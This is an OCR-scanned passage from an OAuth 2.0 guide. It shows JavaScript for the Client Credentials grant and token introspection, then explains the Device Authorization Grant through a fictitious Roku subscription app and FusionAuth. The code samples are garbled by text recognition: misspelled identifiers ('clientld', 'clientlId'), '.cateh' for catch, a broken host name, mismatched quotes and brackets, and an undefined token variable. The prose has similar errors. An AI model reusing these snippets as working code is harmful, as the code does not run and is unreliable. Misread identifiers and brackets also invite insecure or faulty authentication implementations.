Because this is machine to machine communication, the user’s
access tokens are irrelevant. We don’t care if the user has permis-
sions to call the WUPHF microservice. Instead, the Todo API will
authenticate against login.twgtl.com and receive an access token
for its own use.

Here’s the code that generates the access token using the Client
Credentials grant:

const clientld = '82e0135d-a970-4286-b663-2147c17589fd";

const clientSecret = 'setec-astronomy';

function getAccessToken() {
// POST request to Token endpoint
const form = new FormData();
form.append('client_id', clientld);
form.append('client_secret', clientSecret)
form.append('grant_type', 'client_credentials');
axios.post('https://login.twgtl.com/oauth2/token', form\
, { headers: form.getHeaders() })
.then((response) => {
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return response.data.access_token;
}).cateh((err) => {
console.log(err);

return null;

});

In order to verify the access token in the WUPHF microservice, we
will use the Introspect endpoint. As discussed above, the Introspect
endpoint takes an access token, verifies it, and then returns any
claims associated with the access token. In our case, we are only
using this endpoint to ensure the access token is valid. Here is the
code that verifies the access token:

const axios = require('axios');

const FormData = require('form-data');

function verifyAccessToken(req) ({
const form = new FormData();
form.append( 'token', accessToken);
form.append('client_id', clientlId);
try {
const response = await axios.post('https://login.twgt\
1.com/oauth2/introspect', form, { headers: form.getHeader\
s() 1)
if (response.status === 200) {
return response.data.active;
}
} catch (err) {
console.log(err);

return false;

With the Client Credentials grant, there is no user to log in. Instead,
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the clientId and clientSecret act as a username and password,
respectively, for the entity trying to obtain an access token.



Device grant

This grant is our final grant to cover. This grant type allows us to
use the Device login and registration mode.

If you have a modern entertainment device like a Roku, AppleTV,
XBox, Playstation, etc., there’s a good chance that at some point
you will connect it to subscription services such as Netflix, Amazon,
Pandora, or HBO. In theory it should be easy. It’s your device and
you’ve already purchased a subscription to the service. So, just turn
it on and go right? Sadly, no.

We’ve all gone through it, and the reality is it’s not the best way
to start off an evening of relaxation. Depending on the device
and the service, you’re almost guaranteed to hit a broad range of
usability issues. Most of these services require you to log into your
account and this means typing in your username and password. TV
remotes and game controllers were never designed to handle this
kind of text input. However, there is a simpler and standard way
to accomplish this task. It’s called the OAuth Device Authorization
Grant and we will cover it here.

We’re taking a break from the TWGTL app. Who wants to look at
a todo list when you are trying to relax?

Instead, we’ll connect a Roku device to a fictitious subscription
called Nerd Stuff on Demand.

The Problem

We login to accounts all the time using our phones and computers,
so it shouldn’t be that difficult on another device, right? The
problem is Internet connected boxes like XBox and AppleTV don’t
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have a built-in keyboard or tap input system. Suddenly, usability
becomes a big issue. Fumbling your way through an on-screen
keyboard to enter your username and password using a D-pad on
a game controller or the arrow keys on a remote control can be
a nightmare. And since most services ask you to enter very long,
complex keycodes with all sorts of special characters and mixed-
case letters, it’s highly likely you will accidentally enter it wrong
and have to start all over again.

The Solution

In order to address this issue there is a proposed standard for the
Oauth2 Device Authorization Grant'® that is effective as long as the
device and user meet some basic requirements:

1. The device is connected to the Internet

2. The device is able to make outbound HTTPS requests

3. The device is able to display to the user a URL and code
sequence

4. The user has a secondary device like a personal computer,
tablet, or smartphone from which they can process the re-
quest

A typical Roku activation screen.

The specification is quite long and involved. To make life simpler,
we distilled it down for you. For this example, we will connect
a Roku device to a fictitious subscription called Nerd Stuff on
Demand. We'll also be using FusionAuth for our identity provider,

https://tools.ietf.org/html/rfc8628
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but this solution works with any identity provider that has im-
plemented this OAuth workflow. Here is a sequence diagram that
illustrates the process.

Browser on Smartphone

1 Open Nerd Stuff on Demand app

2 GET /oauth2/device_authorize

FusionAuth

{ App Backend

3 URL and code to display

4 Display URL and code on TV

5 GET /oauth2/token (polling every 2-5 seconds)

6 "Not completed yet"

7 GET https://nsod.tv/activate

8 302 redirect to /oauth2/device

9 GET /oauth2/device

HTML & CSS for start

10 page that collects code

11 POST /oauth/device w/ code

12 302 redirect to /oauth/authorize

User logs in via standard
OAuth v2 Authorization Code Grant

1 302 redirect to /oauth/device
with activationComplete set to true

14 GET /oauth2/token (polling every 2-5 seconds)

Success!
An access_token and refresh_token are returned

Browser on Smartphone

The OAuth device authorization data flow.

15

FusionAuth

{ App Backend

Let’s go over the steps in quickly as well.

1. A user opens the Nerd Stuff on Demand app on their Roku
2. The Nerd Stuff on Demand app makes a call to FusionAuth’s
device endpoint (i.e. /oauth2/device_authorize)
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3.

10.
11.

12.

13.

14.

15.

The Authorization Server responds with a very short code
and a URL

The short code and URL are displayed on the screen con-
nected to the Roku

Mean while, the Roku continues to poll every couple of
seconds on FusionAuth’s OAuth v2 token endpoint (i.e.
/oauth2/token)

Initially, FusionAuth responds that the user hasn’t completed
the grant process yet

The user opens the browser on their smartphone and types in
the URL. This is a short URL that points to the App’s backend
The App backend redirects the browser over to FusionAuth’s
OAuth v2 Device Authorization page

The browser requests FusionAuth’s OAuth v2 Device Autho-
rization page

FusionAuth responds with the HTML & CSS for the page
The user enters the the code they were provided on the TV
and hist submit

At this point, FusionAuth redirects the user to the standard
OAuth v2 login workflow where the user can log into their
Nerd Stuff on Demand account as normal

After the user has successfully logged in, FusionAuth redi-
rects them to a success page

As mentioned above, the Nerd Stuff on Demand app on the
Roku has been polling this entire time. Now that the user
has completed the workflow, the next time the app polls
FusionAuth’s token endpoint, it will succeed

FusionAuth returns a success result plus an access_token and
arefresh_token that the Nerd Stuff on Demand app can now
use

That’s the entire whole flow and overall, it’s quite simple. The big
benefit here is that the user no longer has to type in their username
and password using a remote control. Instead, they are logging into
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their account on their smartphone. In many cases, their password
for their Nerd Stuff on Demand account is already stored in the
keychain on their smartphone.

If you are integrating this into your application, make sure you
understand all the details of the specification. It provides useful
information on items like security and usability that will give your
users a more secure and easy-to-follow experience.

Let’s continue to break this down into more details so that you
can see how the individual steps from above are going to be
implemented. We’'ll again use examples from FusionAuth, but these
are all compliant with the specification as well.

Device Grant User Code

The first piece of this workflow is when the app on the device
requests a URL and a code. In FusionAuth, the code is generated
using the Device Grant User Code generator.
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The device code type admin screen.

The configuration for this component can modified to change the
length and content of the codes. For example, you can specify that
the code be all numbers, all alphabetical, both, or secure encoded
bytes. In addition, you can also specify the length of the code to be
generated. This option lets you adjust the balance between security
and usability. While we don’t recommend using the encoded-
byte generator (which essentially generates a large hash) for user-
interactive workflows, if you want to punish your users by forcing
them to type in a long sequence of characters, we won’t stop you.

Additionally, the FusionAuth code generator removes the numbers
0,1 and the vowels A, E, I, 0, and U from the possible characters. This
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was done to help eliminate characters that look like digits such as1
and I and to prevent profanity from accidentally being generated.

Lastly, you will find the Device Grant Code duration configuration.
This is the time in seconds that the code will remain valid. To reduce
brute force hacking attempts, the duration should be as short as
possible while still providing a good user experience. The default
duration is 5 minutes, which is generally adequate for a user to
complete the login procedure on a home computer or a mobile
device.

8 local fusionauthio ¢ = =
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Name' © | Default
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The device code duration admin screen.
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How It Works

To start this workflow, the Nerd Stuff on Demand app that
is installed on the set top device makes a request to the
/oauth2/device_authorize endpoint. This endpoint responds

with a 200 status code and a JSON response that contains these
fields:

« device_code - This is a unique code that is tied to the user_-
code; the device uses this to poll FusionAuth.

+ expires_in - Defines how long until the code is no longer
valid.

« interval - Defines the minimum amount of time in seconds
to wait between polling requests to FusionAuth.

« user_code - The short code that the user will be prompted to
enter.

o verification_uri - The URL the user will be asked to browse
to in order to enter the code.

e verification_uri_complete - The same URL but has the
user_code appended onto it. This let’s you do cool things like
generate a QR Code so the user can simply scan it and not
even have to enter the code.

Below is an example JSON response from this endpoint:

"device_code": "e6f_lF1rG_yrol@DxeQB50rLDKU181rDhFXeQqI\
KAjg",

"expires_in": 600,

"interval": 5,

"user_code": "FBGLLF",

"verification_uri": "https://nsod.tv/activate”,

"verification_uri_complete": "https://nsod.tv/activate?\
user_code=FBGLLF"

}
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Once the device has all of this information and displays the URL
and Code to the user, it starts repeatedly making calls to the Fu-
sionAuth /oauth2/token endpoint to wait for the user to complete
the authentication procedure. There are a few different errors that
it might receive back:

« authorization_pending - This is the normal one that just
means the user hasn’t entered their code yet, so the device
should keep trying

+ slow_down - The device is calling FusionAuth too fast, it
should slow down

+ access_denied - The user denied the authorization request,
the device should stop trying and indicate the device has not
been connected

« expired_token - The code has expired, the device should stop
trying and ask the user to retry

Each of these errors will come back in a JSON response body. For
example, here is a JSON response that will be returned until the
user completes the authentication procedure:

{

"error" : "authorization_pending",

"error_description" : "The authorization request is sti\
11 pending"
}

While the device is busy asking “Are we there yet?”, the user should
be browsing to the URL displayed to them on their TV. This can
be a simple form built by the Nerd Stuff on Demand team and
served from their backend, or the browser can be redirected to the
identity providers UL FusionAuth ships with a themeable UI for
the /oauth2/device page. Our workflow from above does a redirect
to the FusionAuth page. However, if the customer has their own



Device grant 84

page, their backend will need to call /oauth2/device/validate in
order to validate the code entered by the user. If the code is good,
then a redirect to FusionAuth’s /oauth2/authorize will allow the
workflow to proceed.

After the user has entered their code and logged in, the call that the
Nerd Stuff on Demand app has been silently polling on will succeed.
This endpoint will now return a success code plus an access_token
and optional refresh_token. At this point, the device has what it
needs and is done.



Conclusion

We hope this guide has been a useful overview of the real-world
uses of OAuth 2.0 and provided insights into implementation and
the future of the OAuth protocol. Again, you can view working
code in this guide in the accompanying GitHub repository™.

Thanks for reading and happy coding!

Phttps://github.com/FusionAuth/fusionauth-example- modern- guide-to-oauth
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